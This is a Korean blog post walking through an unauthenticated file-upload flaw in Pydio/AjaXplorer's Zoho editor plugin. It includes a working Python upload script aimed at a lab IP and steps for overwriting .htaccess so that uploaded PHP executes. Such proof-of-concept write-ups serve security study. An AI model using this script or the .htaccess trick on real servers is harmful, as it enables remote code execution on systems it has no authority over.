Pydio / AjaXplorer 5.0.3 Shell Upload 파일 업로드 취약점
2016.08.27 01:49
2013년에 CVE에 등록된 취약점으로 정확힌 POC 코드는 공개되어 있지 않다.
https://packetstormsecurity.com/files/123975/Pydio-AjaXplorer-5.0.3-Shell-Upload.html
/plugins/editor.zoho/agent/save_zoho.php
The uploaded file through $_FILES to save_zoho.php will be moved to a path that the user can control with the format parameter passed from the user. Because the file formats allowed are not restricted, and is also used in a move path, this can be used to upload arbitrary files to the server.
플러그인의 save_zoho.php 의 취약점을 사용한다.
AjaXplorer
오픈소스로된 파일 공유 어플리케이션이다.
취약점이 존재하는 /plugins/editor.zoho/agent/save_zoho.php 파일을 확인해보도록 하겠다.
파일에서 POST요청을 사용하여 인증이 없이도 파일을 업로드 할 수 있다.
취약한 파일의 구성에 맞도록 공격용 코드를 작성하면 아래와 같다.
import requests url='http://192.168.1.6/ajaxplorer-core-4.2.3/plugins/editor.zoho/agent/save_zoho.php' files={'content': open('1.txt','rb')} values={'id' : 'test' , 'format':'.php'} r=requests.post(url,files=files,data=values) a= r.content print a
1.txt 파일에는 <?php echo "Hello"?> 단순히 Hello를 출력하는 php 소스이다
위의 파이썬 스크립트를 실행하면
정상적으로 php 파일이 생성된다. 확장자 검증도 필요없다. 쿨하다. 웹 상에서 업로드한 파일에 접근할 경우 .htaccess에 의해 접근이 불가능하다.
동일한 방법으로 .htaccess를 덮어 씌워준다.
deny from all -> allow from all
정상적으로 php 파일이 실행됨을 확인 할 수 있다.
댓글 0
번호 | 제목 | 글쓴이 | 날짜 | 조회 수 |
---|---|---|---|---|
13 |
Apache struts2 RCE(Remote code execution) CVE-2017-5638, S2-045 취약점
![]() | Leekyu | 2017.03.19 | 2260 |
12 |
WordPress 4.7.0/4.7.1 - Unauthenticated Content Injection 취약점
![]() | Leekyu | 2017.02.11 | 12397 |
» |
Pydio / AjaXplorer 5.0.3 Shell Upload 파일 업로드 취약점
![]() | Leekyu | 2016.08.27 | 927 |
10 |
V2 Conference Video Conference System SQL injection Vulnerability.
![]() | Leekyu | 2016.07.23 | 850 |
9 | Joomla JCE Remote File Upload file (upgrade version) | Leekyu | 2016.04.04 | 3591 |
8 | Exploit Code for ipTIME firmwares < 9.58 RCE with root privileges against 127 router models [1] | Leekyu | 2016.02.18 | 3172 |
7 |
Remote File Inclusion
![]() | Leekyu | 2014.11.09 | 3209 |
6 | JBoss AS Remote Exploit [1] | Leekyu | 2014.09.23 | 2168 |
5 |
구글봇을 이용한 공격
![]() | Leekyu | 2014.04.20 | 6769 |
4 |
Tomcat web application manager exploit
![]() | Leekyu | 2013.10.13 | 4765 |
3 |
Joomla JCE Remote File Upload
![]() | Leekyu | 2013.09.29 | 14612 |
2 |
HTTP server CONNECT method used to bypass filtering (HTTP_Connect_Proxy_Bypass_SMTP)
![]() | Leekyu | 2013.09.25 | 18940 |
1 |
Dadong's JSXX 0.41 VIP 난독화
![]() | Leekyu | 2013.07.03 | 870 |